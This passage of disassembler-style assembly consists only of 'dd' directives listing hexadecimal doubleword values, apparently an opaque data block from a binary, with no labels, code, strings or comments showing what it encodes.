		dd 21D3AC92h, 160F58B0h, 608ED64Bh, 0F1BE8F7Ch,	0EC3900C5h
		dd 9A72F7B3h, 0D8B0692Dh, 0CB954B0Bh, 3DCC21D3h, 8C607CA5h
		dd 0B7CA2632h, 82DB0738h, 1350001Fh, 40002D92h,	7D226CF3h
		dd 9E2CACh, 59688DAAh, 63734A15h, 15C3958h, 17FD9162h
		dd 983072F2h, 96320FCFh, 64006855h, 35D1FE14h, 7C82D3Fh
		dd 0B12B4F5Dh, 0C7D6F680h, 74990FCAh, 0A8803C65h, 0B31112E9h
		dd 71037F73h, 0E5171603h, 0C350D70Ah, 0C2C52Ch,	56222462h
		dd 0CC268D5Bh, 0A8BC4526h, 46556403h, 4D83A84Ah, 99D0014Fh
		dd 2FA1E9B0h, 3BE1EC63h, 0B7785600h, 0DD85EE11h, 8AFE0Ch
		dd 5A4239DFh, 81F33E22h, 464AA00h, 0B2EB95C7h, 7ABB7C26h
		dd 423F018Fh, 930AC5D9h, 273BD45Bh, 6E7ADB1Eh, 908C5C00h
		dd 6B4F1Ah, 0ADEAE7FDh,	25BE360Ch, 29D79400h, 0AACE07B3h
		dd 8C814C04h, 6F1FDF00h, 40D85372h, 0C901EC07h,	7957BD03h
		dd 42209FE0h, 4A4E2B0h,	28F8E84Ah, 0F522C00Bh, 5E000515h
		dd 8F8C4644h, 986B496h,	44A0E76h, 6A5C8C80h, 0EE394572h
		dd 7FC00E5Eh, 0FD160CDh, 3C687ED0h, 8180711Eh, 35283C8Bh
		dd 0ED003A9Ah, 32F7143Dh, 4AF409h, 592DE93Fh, 333EF87Bh
		dd 2A76FC14h, 47A90FD0h, 3031C1A6h, 0EAE062FBh,	51B9006Dh
		dd 1D82FF1Ah, 0F41D7B10h, 6403B44Ch, 886D75A6h,	87B316h
		dd 6D21480h, 20916F09h,	2602A001h, 4360A303h, 99FAF0h
		dd 0F9B2F098h, 0E2DF6F1Ch, 0DA0E72E8h, 0A09EB484h, 44AD2A54h
		dd 60F0007Dh, 0BCB5928Ch, 80503938h, 8E98DBACh,	44875400h
		dd 356E3795h, 0A9090968h, 10834BE5h, 0F0E81BCDh, 0F60953EEh
		dd 0C3836E7Ch, 200601DFh, 0F31C3033h, 43B0D750h, 0ACA010B6h
		dd 6E423598h, 4AA2DE04h, 0F29C9092h, 0D24CF682h, 32D80058h
		dd 38D3B30Ch, 5A0524B9h, 0DBC3DAFh, 6CC220E0h, 0C93C138Fh
		dd 684C6Bh, 0D0A1B45h, 1DA8B84Ch, 39E946h, 0D8F7645Ah
		dd 0EC0088E2h, 0D7E3BFCFh, 0B19F3Eh, 6B9442FBh,	5F0FF41Fh
		dd 760F2F77h, 0C08C4BB3h, 966AF1D3h, 58C15CC9h,	0A2DAD700h
		dd 2BF392Ah, 0AB609F03h, 0C022C21Fh, 1D50D4h, 746A3F67h
		dd 0F0DAB475h, 91005475h, 0B6F863E8h, 6079FAh, 343505B3h
		dd 174B14BAh, 0ED40801h, 367FA2AEh, 48F180EAh, 3A84A877h
		dd 0D600C459h, 92D22BADh, 12007BCDh, 6ADF6E8Dh,	0E051BABh
		dd 0F4234D86h, 0D9E81F00h, 3B00E393h, 0B281246Fh, 0C2CB7706h
		dd 426D5162h, 0B44AE0E0h, 0C9C67304h, 74A0839Dh, 0AE221EABh
		dd 70AC4016h, 657C5E5Dh, 993B6A00h, 684B388Ch, 98CD00DBh
		dd 26CAE17h, 0FF005721h, 87696604h, 7C8FE491h, 5A750923h
		dd 2B01FE17h, 0F015128Bh, 1E3F62CEh, 5597818Eh,	0CAA6476h
		dd 0EF2C4080h, 6D203D2Fh, 0B92E7002h, 60AC3BBFh, 78BBD50Ch
		dd 0C2415011h, 4D1A3FF7h, 5BB15E09h, 93C42503h,	0CEBA1098h
		dd 7D1FDB00h, 0A28B9F65h, 6D7798h, 3D7EBD53h, 95F3A757h
		dd 89DA833Dh, 20AA5E3Ch, 6481FB58h, 82AC0054h, 0F3CCB35Ch
		dd 6A00DD2Fh, 9469E3ECh, 0E2DA26h, 8416E978h, 2C85526Bh
		dd 0D8D5A100h, 9F886AF8h, 322B00E6h, 7A7EC23Fh,	410165B9h
		dd 5AD4C60Bh, 6FF8499Dh, 0C8C4A101h, 1E610DE4h,	404764FEh
		dd 56BB827h, 9F00C75Bh,	0CFDFA5D1h, 684AA1h, 0DA893D28h
		dd 5F5E59B9h, 6D607D01h, 3AB68C2Eh, 107A43F8h, 7534A738h
		dd 0CE54B201h, 17918CAFh, 7B7CCE8h, 3E2B0DE1h, 0D52550D2h
		dd 203C6869h, 22E6018Bh, 3D1C448Ch, 0AB63E0h, 2DFF565Eh
		dd 0A50D30DEh, 92C55400h, 0BFCD625Dh, 98B800B5h, 869A3142h
		dd 9F187E0Ch, 2E104340h, 75F902D5h, 0CE21FF6Fh,	0D6B28A80h
		dd 7031ADAh, 0E40C4ED8h, 0E560005Fh, 823C86C7h,	42E6C37Ah
		dd 97055D13h, 0AA63C80h, 0F59A094Eh, 4AFE97Dh, 0EB0B3D61h
		dd 0E311807Bh, 0A7D49B77h, 1F2C0913h, 0A8E09FE6h, 694E89E7h
		dd 0F4C08C1Fh, 0DCA4144Bh, 0D898DBh, 26B8F9AFh,	77FF6259h
		dd 0D47D7026h, 92BC4600h, 4C86D627h, 414CE410h,	99F9BE00h
		dd 0AF98AC19h, 0A10FF3F8h, 0C024393Ah, 5B315C8Eh, 3015606Dh
		dd 2CF5E78Ah, 802BD33Dh, 574F1097h, 0E2427B2h, 0B616586Bh
		dd 52F5A380h, 0AD00C665h, 5993DC42h, 0D4E0C0h, 72610E3Dh
		dd 2C325C6Eh, 23E1FF07h, 0D9800BE3h, 0B9837Ch, 97A38E9Ch
		dd 0D872606Eh, 4BC5A100h, 1ACA7F49h, 457181h, 0AE9B8E75h
		dd 0F451D895h, 0B0E4BE00h, 866F83F9h, 5B0E0A11h, 0A8D74Eh
		dd 40F0A3E0h, 2500D59Ch, 730D88C5h, 90B46A07h, 5C6C01D4h
		dd 0DE8B9D2Dh, 0C59C891h, 80ED1107h, 28A0843Dh,	817DB0h
		dd 0D74C7C71h, 383717D5h, 0F8CA1F1Eh, 0F38D1080h, 0BEFB60h
		dd 0F1C1FC1Ch, 0CF9055B8h, 1466B500h, 0FEDDF8ABh, 2B4607D0h
		dd 3C3914Bh, 8D9044E6h,	0B80F662Ah, 40B2F494h, 19AF0784h
		dd 0FB430027h, 209D1F4Dh, 0CC007A74h, 44A2053Eh, 6B128Fh
		dd 5B68F91Dh, 81ED9B60h, 0BAD5D4Dh, 8CBF98h, 97C8054Dh
		dd 1DA1587h, 5D00CC48h,	3C33EC4Eh, 307C705Ch, 0DB65DC00h
		dd 0AA408119h, 3A600EDh, 3542E39Bh, 0C6F29E3Dh,	3B82B90Dh
		dd 0A1C33E0Ch, 0FEDC9AC0h, 74690FA9h, 0A5C076CCh, 822F7D30h
		dd 29D95600h, 8E6AFC38h, 0A37B0EE1h, 0E8AE619Ch, 0B3AFB100h
		dd 300DC95h, 126A6842h,	10D2346h, 0F4D18CFEh, 0E44C50BDh
		dd 0E0036BD2h, 0A7561CD8h, 51E4E9C9h, 0FE27880h, 0E3102024h
		dd 449C3D7Ah, 4ABEA560h, 1FE4000Ah, 90B1CB63h, 99280B82h
		dd 7018077h, 4557D10Eh,	0A3C85E1Fh, 3C2C00B0h, 9B944DAFh
		dd 2E12B2CEh, 4E00EE19h, 0B9B4493Fh, 243E0062h,	14C11E51h
		dd 0EF4CDA91h, 2BD324A1h, 8085950Bh, 0F4E0351h,	0ADE65061h
		dd 273200CCh, 0B4CDA155h, 4F002240h, 1CAC33D2h,	0E4FA422Ch
		dd 844D0772h, 2B39B515h
		dd 70BB9803h, 801C4807h, 0FD508E9Fh, 28E4EFh, 48258DA4h
		dd 94F55B0Fh, 0EE9BC013h, 463F2846h, 0C1EB00D0h, 0D0BFCC7Eh
		dd 898E6DCh, 0B00A27Fh,	0A217B64h, 1CBE53A6h, 41715415h
		dd 8E908386h, 0F7E2D4FEh, 0F45DB700h, 9FD97936h, 1647502h
		dd 4DE08BB6h, 81A49D85h, 28045171h, 1870A8BCh, 0C07D00B5h
		dd 5D0D5212h, 0D70E774Bh, 0FEE31C45h, 47FC80CFh, 70E52F40h
		dd 9B2580D0h, 0E354BA2h, 51001308h, 856F93A0h, 509E8E0Eh
		dd 0C33D40F2h, 0CDA2F6h, 0D739220Eh, 0E8B8FDE1h, 8E28A812h
		dd 89B200FEh, 8FD16A67h, 6E2C7200h, 7FA7537Eh, 0C63E002Ah
		dd 0AE93B317h, 0A5609FAFh, 0A41CA6A8h, 9D261716h, 0FCA80044h
		dd 1F86841Eh, 0A0B4332Eh, 0BDFF800h, 0EC57D5h, 0B3FFD26Ah
		dd 0E36610B7h, 0EE2D4103h, 0E061FB81h, 689887h,	95344E12h
		dd 0DF7632DBh, 0CD472F1Dh, 90B41005h, 0C4DCC680h, 0AF7300E0h
		dd 0A5A77B71h, 0F7007567h, 0ED879AF4h, 0F04062D0h, 7F4F00D3h
		dd 5EDBC6EAh, 0BA1F1FAFh, 9802C43h, 69A71450h, 786F0048h
		dd 0DEED527Eh, 870061D2h, 0B95028F9h, 79455380h, 0CA8300BFh
		dd 16BCD5D0h, 0FA02829Bh, 685F69E5h, 0C624C0A9h, 67E42Dh
		dd 14F7395h, 5320908Fh,	33E16000h, 3D90497h, 0C0190327h
		dd 317FD00Eh, 0C4FC8095h, 0DA007398h, 1855CA95h, 8EDBA8h
		dd 3381123Eh, 67A91F9Ah, 3791BE14h, 83AE00F0h, 6FC1C0E0h
		dd 5F71010Dh, 68764714h, 7720813Ah, 0E078EFBBh,	3FF3F0ECh
		dd 9A007FF2h, 856A3927h, 0CA2CC3D5h, 0CC006830h, 0C7BED050h
		dd 58F44810h, 0DB783500h, 618CA07Fh, 0DDB3BB05h, 0E403EA79h
		dd 0D098D84Dh, 1E0941FDh, 87CB7144h, 503E891Ah,	0FAF40FB8h
		dd 0C2A92602h, 40DF5808h, 3BD170h, 738F112h, 5A634B60h
		dd 543E2C00h, 8F9280AAh, 0C3D002E1h, 0E5FC4C9Bh, 6A08C458h
		dd 8023A0DEh, 3E7E0B90h, 8200649Eh, 88CDE008h, 0B1ED8B1Ah
		dd 0D6B188B4h, 0DB2C2400h, 75DEE7h, 0E9CF721Bh,	8BE8152Fh
		dd 0D00B6716h, 586E8700h, 0F5875Dh, 7D94DE37h, 31B19355h
		dd 32C3C609h, 344F0022h, 7A34A0Bh, 0FF2030E8h, 0CBD51059h
		dd 0C138470Fh, 9668085h, 73711D60h, 48150056h, 0B28B0538h
		dd 7C28EBCBh, 811CAC94h, 0DA40822Bh, 2F1567F3h,	0F880486Eh
		dd 39553E0Eh, 20EF13A0h, 7C962CC7h, 0B80908h, 0B77B0CF2h
		dd 1E28E111h, 6F00DC1Ah, 5BD1B0E5h, 3F79F55Ah, 8100AA2Fh
		dd 0DF9E94CFh, 96005FF8h, 0D38C6EFDh, 7C7AFB5Ah, 8E6600E0h
		dd 6DF21923h, 0D016522Fh, 44037281h, 0DBAF90A6h, 0E04F98C4h
		dd 6B8C00FFh, 0CD0D8051h, 89004E09h, 0AA2071DEh, 1BEB9Eh
		dd 9C8A36A4h, 0C6142C95h, 0BFA6EA3Ch, 50298048h, 1A336AD4h
		dd 894B00FAh, 1465B26h,	1D008E1Bh, 4E5CAF21h, 0AD32CFh
		dd 3F042D1Fh, 6AE3FE8Fh, 63E0EA00h, 57CDC48Dh, 0EA5C4C52h
		dd 0D19EC200h, 4A31BDD4h, 1EF8871Dh, 0C0A8A43Ah, 80EE0689h
		dd 9033D6A3h, 50D007C1h, 10A01261h, 99445674h, 0D900E7E4h
		dd 3E0FCEFFh, 1BB3F72h,	0B35A046Ah, 7091D59Bh, 9A04E782h
		dd 80D17FCEh, 67DFC080h, 88BF1027h, 0D9A00738h,	0F075ABC8h
		dd 58C25881h, 4A00542Ch, 1D2DACEDh, 7C0051F2h, 4E28C0DCh
		dd 95058442h, 0D794E007h, 5223902Eh, 3430C96Fh,	50A259A5h
		dd 1EA300BDh, 3B2FF135h, 4C0B5FFDh, 0E0E42152h,	13717F40h
		dd 0B8322Ah, 0EEAE3FCh,	530021F4h, 0CBA79DE1h, 7466D871h
		dd 4ED50E46h, 409D9395h, 0A83F7F81h, 0D7009ACBh, 0F88247F3h
		dd 0EE61835h, 6A7ADD24h, 0C1F6867Fh, 844C48B5h,	0CB5876h
		dd 0AE5B5851h, 19BEB8h,	1DEAE524h, 0BD45CD6Fh, 0C7D9D460h
		dd 0CEE13AFh, 21CE0CACh, 790E28B1h, 6BA4EB48h, 2A502007h
		dd 0F018A1C8h, 2773F8A9h, 0BC026263h, 0C4501568h, 0FF474504h
		dd 0C0AB886Dh, 1E9A4FDCh, 0ED0946F6h, 8370225Fh, 9B81A920h
		dd 86D80737h, 425367EBh, 0ACC8F312h, 191392CEh,	0E70FE074h
		dd 231C7BAh, 0BE21D100h, 44E4005Fh, 0ADD7EEE1h,	0BD005709h
		dd 0F1554374h, 132F3C79h, 0C01DBFA8h, 5A1071Ch,	0B0A5C903h
		dd 0C0AA9F0Eh, 0B8C5F2EBh, 0A47CDBh, 473AB470h,	9D462E52h
		dd 9F013C96h, 252781F9h, 1EE864h, 0A12D8B1Bh, 2F3D56E3h
		dd 5AF660B8h, 808044B2h, 0D200DF04h, 0FD0FD8Eh,	5458F891h
		dd 0C45BB4A7h, 9C51F180h, 883FA20Ch, 0B2A80457h, 1C1E764h
		dd 0A8577117h, 3E55C9D0h, 0FCD31FE2h, 38D2C0A7h, 0B719CBB9h
		dd 0C067BF25h, 77F2C130h, 492B1641h, 0BAC50030h, 9DDADB8Dh
		dd 0C917AB07h, 8C5743ECh, 0A1640189h, 0EC50202Ch, 43AB019h
		dd 145CF49Ah, 5B8F213h,	673274E1h, 54001785h, 0EED08D86h
		dd 0E913004Fh, 772A2C52h, 449CCCE4h, 923E4180h,	95BF9Eh
		dd 0D9A90874h, 0E76882F6h, 0EF0E3100h, 0ED34BDE2h, 3BC7702h
		dd 4948DFCAh, 90978FC9h, 82F7D476h, 88559600h, 53CA2DEBh
		dd 0D0CD387Dh, 9A308F80h, 125BA9EFh, 2D40DA13h,	1B5D0E02h
		dd 0E2E311h, 26CAD20h, 4FF55D8h, 0CDC51702h, 2F73614Bh
		dd 33A38FEFh, 80C527AFh, 7BD43948h, 0E076100h, 329E1C50h
		dd 49E8A5h, 177C0BBFh, 4325F33Ch, 98B71618h, 0C8649h, 0D208E592h
		dd 0E8CA5D42h, 81126092h, 2420B541h, 3DA5EA1h, 75B3508Ah
		dd 0A0C49095h, 5BE01D00h, 0ED746274h, 52253898h, 0DD30601Eh
		dd 0ECA110D3h, 4007267h, 845205E3h, 0AFEE25h, 0F30D807h
		dd 2AA6E877h, 58CA7800h, 91CC2629h, 92ED00F5h, 6B0F641Dh
		dd 697C75F1h, 1348E53Dh, 48010B85h, 0B344343Fh,	0F3992981h
		dd 409038AEh, 0F4019F9Bh, 9AD1C200h, 73C1EC09h,	0F624034Dh
		dd 0EEB2A006h, 5F7888E8h, 6C0088BEh, 899BE1DBh,	23F0E8h
		dd 0D62A908Bh, 0C9A007B7h, 83002B7Dh, 8F12D2EBh, 3EECEDFh
		dd 85152866h, 3398E3B9h, 8D0F053Bh, 0C04D8BD8h,	48F4F9A7h
		dd 4EAE00E8h, 0C55A9622h, 0C8716589h, 5FD02F00h, 6B1C161h
		dd 0AB8C03E0h, 296C8349h, 0C89FEBC8h, 0A7D74503h, 0D0778B2Dh
		dd 0FA66A49Bh, 0E80E977Eh, 0E20E4C40h, 0D3008683h, 5D88B9E7h
		dd 78E89CC8h, 33B70132h, 0F06316EDh, 49EC43DAh,	90798005h
		dd 99C0D7CEh, 1D2724E1h, 0D3F870ECh, 2A060007h,	4D94D504h
		dd 45149C07h, 3BE55702h, 68D780AAh, 961DF5A3h, 9FC9CDB5h
		dd 0F24007E2h, 0ECF49515h, 37D7001Bh, 5ACC1736h, 9A00350Dh
		dd 6701DA73h, 0ACC586h,	0CAF81C69h, 6E039059h, 71635E00h
		dd 334410EFh, 287909B7h, 8C687868h, 970B1Bh, 0E4607FF0h
		dd 74FE7Eh, 0F91695B5h,	0E2D06992h, 627B881Eh, 66213AC0h
		dd 3AF1565h, 0CDF1A737h, 0E18AECACh, 742080F0h,	5BE90034h
		dd 4D221993h, 0D005750h, 375A9F03h, 0FA8A4Fh, 0EE9C66B1h
		dd 7081430Fh, 7C5350C0h, 24E31E36h, 80844F0Bh, 83D84B84h
		dd 2E00FB6Fh, 4A7CF7D9h, 2C0ABC5h, 0EF5D188h, 0A840E54Fh
		dd 0D300C915h, 0DEE162B6h, 76614A42h, 48F2D8h, 0C3BBC7B3h
		dd 88CC2E9Dh, 66338C01h, 4A18084Bh, 21BCED4h, 1EAC1C3Dh
		dd 0A0487FFDh, 0B200CDAEh, 0D5497499h, 4D48DAh,	0A82D3A6Fh
		dd 7DF6DE2Ah, 0C9AEA9CEh, 2490A732h, 496EC780h,	2175616Bh
		dd 616366E1h, 3A6C2C24h, 0F79F0037h, 994D0B3Ch,	3060062h
		dd 0FC095852h, 7B1F54FEh, 984B0746h, 123180DAh,	598DCFE1h
		dd 67000060h, 0D8A51C39h, 4576CE28h, 7728BA59h,	401F3FF8h
		dd 0C240AE60h
		dd 0B0CDFA16h, 0AC24588Bh, 0F4D69B00h, 1316F44h, 0DF518461h
		dd 1BD07FD4h, 0CAD502BDh, 79C96652h, 18C184C2h,	0F6146082h
		dd 91B0C616h, 4FE50300h, 3C559E16h, 37811E69h, 0BA5A2AE2h
		dd 0D20FF5A6h, 32021860h, 6FBEFD02h, 49F9496Ch,	0F880233Ch
		dd 26859D5Ch, 0CCB1A7A9h, 3C33D780h, 532D650h, 0EFFCB922h
		dd 357081A6h, 0E55970BEh, 4185F100h, 0DC17AFBh,	1B5F3A1Dh
		dd 5B78BC59h, 5E040077h, 0E18EADCEh, 87CBA600h,	98465C09h
		dd 0DD71050Eh, 40CE41A5h, 6B7ED7D0h, 4500FC51h,	0E736B0EAh
		dd 69425AAh, 0C62F357Bh, 0B70F28B6h, 0C3D60851h, 4D41CCBh
		dd 0A58C21B0h, 7BA5C0A6h, 652C62A7h, 99188451h,	86CCE589h
		dd 57068400h, 7409A34Bh, 92B20571h, 415DFE66h, 2C729880h
		dd 8C48C6A5h, 35002B54h, 31CE229Dh, 0B03E2Ah, 9E5AEF10h
		dd 6D77427Ch, 545E010Eh, 7F510120h, 9C717B08h, 1F53920h
		dd 66EC0560h, 0E0EB1839h, 5C004838h, 35062743h,	15668BBh
		dd 6A801CFFh, 806799D0h, 7F129310h, 7681FCDh, 370C8EB2h
		dd 0AC3BC00Ah, 30EB167Ch, 3A244425h, 95BA3C81h,	7A8EC65h
		dd 4737F4E9h, 7829B3h, 0AD45A420h, 0B06C5740h, 0EBC01C00h
		dd 0DFAFCDFCh, 0B84B015Ah, 2B8BA45Ch, 0AC002A39h, 0C2C5CF3Ch
		dd 4ECC0091h, 2124B4E4h, 270B856Ah, 615513h, 849C4A80h
		dd 0B56F0008h, 578E0179h, 0E92CE286h, 680013B6h, 66E09485h
		dd 7A0500A3h, 31EAD30Dh, 3D00E7F8h, 4F5FB560h, 70C5743h
		dd 46084549h, 0A653803Fh, 6600AF3Bh, 9F37E2A8h,	0BB8D24Eh
		dd 6478E5F7h, 90EC3C07h, 292E1666h, 809B273Bh, 0C4BD6FE3h
		dd 0E29AAFC1h, 0A76D0106h, 0B47FDB77h, 4BE520FAh, 308B8703h
		dd 0F0745D49h, 77B3117h, 4F7392CFh, 0C0CD67D2h,	0D6EB8D63h
		dd 4CE9A650h, 9AC9130Ch, 6941875h, 22717C16h, 3C001076h
		dd 1951F1DFh, 98E106Bh,	0B7F861F2h, 9DD2F800h, 0A005BD95h
		dd 3B4B9701h, 0CAC16081h, 80D750C0h, 2900E3E9h,	0F76F310Ah
		dd 95821B13h, 98918880h, 0B900A79Ah, 0B3E3CBE8h, 3BAD34h
		dd 0F6A26535h, 0C78ADB99h, 43886707h, 6C203696h, 98980169h
		dd 92D212B4h, 24A08A35h, 0BA006EB4h, 51D0C17Ch,	5DEE006Fh
		dd 45A9B765h, 57004F35h, 0E37CE87h, 0FEA0C1h, 3B1918C7h
		dd 39167B84h, 0D9CF8604h, 98A1C697h, 0E2E3CD8h,	7E526001h
		dd 8581A469h, 25AD6840h, 3DB0F550h, 1A80402Ch, 9B948E00h
		dd 6FD83C53h, 0B6F10077h, 540F7D5Dh, 1800B007h,	0E6B2F9E4h
		dd 998F350h, 1A2636CAh,	0ECEB900h, 0F91EB35Eh, 310E5F04h
		dd 9A06A064h, 24D99B52h, 4D5380h, 0B10E9546h, 83007B32h
		dd 66576B64h, 0E48D87h,	0B760CBEBh, 8C81219Ch, 0DAA83F00h
		dd 5AEA299Dh, 0D2720068h, 0D38743A4h, 7C006465h, 26696725h
		dd 0C4D54Ch, 2D121B36h,	9DE0D07Dh, 0D7827F24h, 6450FC00h
		dd 24341A90h, 0E8A2BCh,	9CA06F1Dh, 0CC017CD1h, 0EA9A33F6h
		dd 49F858D7h, 15C20017h, 54A457F8h, 0A82512BFh,	10F0A055h
		dd 3E3F639Bh, 935C81ABh, 6040C22Dh, 4B7C0ACFh, 0FC00644Bh
		dd 0E59FF67Dh, 3E371826h, 0C05D410Dh, 2CC72200h, 0F6364D4h
		dd 9B4317F1h, 81AC1201h, 30EBC970h, 2B0066C0h, 8FB0CCDFh
		dd 579FDC2h, 3B87ECDEh,	0D2908048h, 6570339Ah, 0CBD6F601h
		dd 715A3C3Dh, 619480C2h, 16878ABh, 558816E3h, 2D32205Eh
		dd 362C0BB0h, 7E14191Ch, 7690300Dh, 0CCCB1803h,	0D0103D09h
		dd 16AFDDE3h, 31A6ECFBh, 31731850h, 7544CCD0h, 0A07A59h
		dd 0C3C1C0DDh, 553ED45h, 0A2D04213h, 40BC0B7Fh,	5380828h
		dd 1CE4D9B7h, 74649Dh, 948F841Dh, 0C1004F28h, 0D6D90720h
		dd 9D87293h, 137B4D0Ah,	3E48F4FAh, 0D4EB286Bh, 53148900h
		dd 5F47B3C1h, 0B092FCh,	7A97027h, 24E4C276h, 0CBC1D00Bh
		dd 8920818Ch, 0A2D5DF7Ch, 305FA880h, 0E65DEB74h, 0B7184A02h
		dd 0E32770DCh, 279CE228h, 769BE072h, 951EA8EFh,	1240EA83h
		dd 4D5F9F58h, 63D23939h, 0A8A27980h, 26F950B4h,	54E53Ch
		dd 611E3AFEh, 2D21B1h, 4FFDB880h, 2F90E311h, 72F28B03h
		dd 0E92E3DC2h, 3050DB50h, 0BCADC1h, 87CD4209h, 9E925BB1h
		dd 16363A00h, 4C328CF0h, 0DA745Dh, 2712382Dh, 8517867Dh
		dd 0AA0059E2h, 2F01CAD8h, 0FE1C79Ch, 75354E5Dh,	6ED31420h
		dd 55005A0Bh, 4FB6B477h, 173305h, 7B5B38DAh, 0D57A3DEAh
		dd 0CDD8F10Bh, 68B904D4h, 0E53A9180h, 2CE300F6h, 5C646B67h
		dd 6207B11Ch, 3253A570h, 5D9590E0h, 0ABA701ECh,	1DD030A8h
		dd 8CA8F783h, 4C004F05h, 2198FE5Ch, 0D1BFB1h, 38B55AD5h
		dd 0B4CE0D77h, 6B91E00h, 7204661Ah, 3046308Eh, 454C3C20h
		dd 11615C30h, 0A25876h,	11CF68A6h, 897788B9h, 0B7245C05h
		dd 0A800056Dh, 0C60B7FF4h, 0AF2700E5h, 0C53B1CA1h, 3A159FF3h
		dd 4DC1DB0h, 469ACF1Bh,	48067A83h, 0F004638h, 0AF968ADDh
		dd 4400028Ch, 0D9C3B603h, 0C1B757h, 243F49CFh, 8322F0C5h
		dd 1577A60Fh, 99CEC07Ch, 709BC0F6h, 821103F4h, 0CF61F872h
		dd 31C6F5EBh, 84E61700h, 63ED29F2h, 0AE380091h,	66166F7Ch
		dd 4E00BB4Ah, 24155BCDh, 0B85DA1h, 8D38D511h, 68FF12Eh
		dd 4164520Eh, 39372036h, 0DDCE94h, 70AE0AD9h, 4BFD44D3h
		dd 8BC22400h, 4A1A03FAh, 0FCEC0A26h, 1FFC563Bh,	719F391Fh
		dd 64B78758h, 9660FE9Eh, 909316E6h, 0C66D8D02h,	4035F33Eh
		dd 0C8484Ch, 7A1F7528h,	6D31BB5Eh, 2A88D00h, 8F04BA1Eh
		dd 34EA0715h, 60A736ABh, 0F877B419h, 0E4B58h, 0CB687CF1h
		dd 596AA9Fh, 0ECD8D4C2h, 0CEE40245h, 0D4808DBDh, 0B9F731C8h
		dd 0E795C400h, 0C2520901h, 31ED5CDBh, 85844000h, 4E67C97Ch
		dd 31C15D00h, 0A93B4910h, 0C2FE002Ah, 2B809AE1h, 0CA007913h
		dd 0C88FEDFAh, 6319DFh,	0EC40FC6h, 11F37BCh, 6778A907h
		dd 0A77203D8h, 0A418497Eh, 4093FC4Ch, 51009F92h, 9032A730h
		dd 0A938BAh, 58C69577h,	97FBA84Dh, 4050F930h, 0E75BB3h
		dd 0C094A11Dh, 787A7CC9h, 114BBD00h, 74994A87h,	0CFEA3D3Fh
		dd 0C8B0C003h, 0B7CBF692h, 0E5B36800h, 0E827E993h, 8BF51FA5h
		dd 702F4345h, 89A0179Dh, 220046ACh, 0B2B81D9Bh,	1F5A20F1h
		dd 47F042C6h, 2057596Bh, 50437845h, 78685C24h, 2A6E5A80h
		dd 3E865A2h, 0FF61DEDDh, 8688C176h, 0C7030A74h,	0AAF7B583h
		dd 0A88803ADh, 8B248C38h, 56F934D0h, 4B313B00h,	0D60E29C0h
		dd 1DBE220h, 0CEAD1CA4h, 0C076859Bh, 0AEE00862h, 0A1722C00h
		dd 40D01AEBh, 27B40F24h, 9008467h, 48F64616h, 0E100B890h
		dd 0FD5E8AE5h, 83F9E7h,	0C5AB38D0h, 0C0D810C7h,	0D31EF800h
		dd 70FA5ACh, 0CED517EFh, 0F365003Ah, 0D8B75F9Dh, 0BAB3C500h
		dd 0F0A8E2C2h, 0FAD60025h, 1788FC14h, 0E3147BC6h, 0FEC0BDEh
		dd 0A9FF407Ch, 42680349h, 0B162F0D3h, 8E9300AEh, 0BE4BBA8Dh
		dd 6D0016BDh, 2CC25C76h, 0F70146h, 26B8516Fh, 54A72A61h
		dd 0DFD78E02h, 60BA2504h, 14066Ch, 9B8CAB15h, 0DB0B43BBh
		dd 0D5DAD303h, 0B068F372h, 0C04EC9E2h, 3A0F1479h, 500191Ah
		dd 0F08E6FE1h, 3F57072Dh, 0BA24F627h, 0B14D0B87h, 56E7C382h
		dd 28452C40h, 11153800h, 265769DEh, 489C00CDh, 0A4C87DEBh
		dd 0F8027587h, 331A1BD4h, 1DCC4831h, 900522B9h,	261B9980h
		dd 0CDF44E00h, 0EB93924Ch, 294D0032h, 13392D33h, 0BC00AEFDh
		dd 0DCDE760Ah, 2C2A60B2h
		dd 4344E138h, 0ECA86756h, 0C2006E0Ch, 44077FBDh, 0E79EFD1h
		dd 50E91DAh, 5B117EE0h,	2E0F999Fh, 40B230ECh, 0EE859ADFh
		dd 33CB2606h, 70200028h, 62376D60h, 0C91CB690h,	9B00C615h
		dd 0A73CF205h, 2C213EEDh, 9D3F5E9Dh, 0E0108050h, 0C91C5183h
		dd 0E340B400h, 9A6EE287h, 4C85E0ACh, 86082847h,	0EB0065E5h
		dd 1F947434h, 68C500FEh, 322B4355h, 7D181852h, 8EC0EC73h
		dd 0B37A0092h, 7C295B22h, 0BB2850E1h, 0CD0B904Fh, 8FD8Ah
		dd 0CE6486A4h, 3DD00994h, 0E080601Ah, 0A4261D06h, 23A35100h
		dd 0D89AE0DEh, 56AD3053h, 0CD2CF4E9h, 4FC3E924h, 0C94E4700h
		dd 4C1E7429h, 322AEC79h, 0DA0607D8h, 60BCB1BBh,	85E75C8Bh
		dd 89A4A04Ch, 27FD00FBh, 60087D30h, 51FAE848h, 25EC60E9h
		dd 0FF968C00h, 29B8DF3h, 867417F7h, 395D004Dh, 41EB7D5Dh
		dd 11FECB0h, 0CF4283F6h, 0C81BB9D3h, 18F08680h,	11C8DF1Fh
		dd 83132EBEh, 2000A202h, 84449908h, 0E2F800E0h,	0F0A768D5h
		dd 0E9039687h, 0A354D1EEh, 0D41C83Bh, 0F5E60C32h, 16B28E6Ah
		dd 257E03Bh, 0EE671A4Fh, 4A06012h, 19501FB5h, 600940A3h
		dd 6E16EB98h, 28021018h, 2EDA1E11h, 9E20ACCh, 0B482D33Bh
		dd 0AE20DF7Ah, 2452E66Ch, 142AE1F2h, 4302E26Bh,	0F4BE252Ch
		dd 59CCB0C0h, 0ABAD9106h, 8C10B9h, 25A96BD9h, 0C61B5CECh
		dd 7C00B8BAh, 8BD3F89h,	28BE70D2h, 0C0F144h, 0E5563057h
		dd 76220A9Bh, 801A3F39h, 3BE85562h, 78A2A39Ch, 2372EF1h
		dd 0E0B507B8h, 0FBBEB0C3h, 1B5C2528h, 3CA600A6h, 2FE197F9h
		dd 0D08A0066h, 3DE0D332h, 7E075689h, 596CB848h,	0BEDF2ED1h
		dd 8041B6F1h, 11EC0D43h, 9406004Ah, 30A45E66h, 0B71D2F8Fh
		dd 0EB8FA6D1h, 33DC956h, 0F088CB40h, 24BA5Bh, 0FF814FA4h
		dd 0CF824A05h, 0B273AFB8h, 0A26C1F00h, 352692DEh, 80095052h
		dd 939401A8h, 0C17EBDE0h, 0EE6280BEh, 22201A2Dh, 1CF7EC72h
		dd 1AA2A152h, 8260B42Bh, 0EB4B8395h, 12DC81B0h,	80E03296h
		dd 0AF9088E4h, 0A23D8C98h, 0BEAB9F98h, 0EE597205h, 0A86FC880h
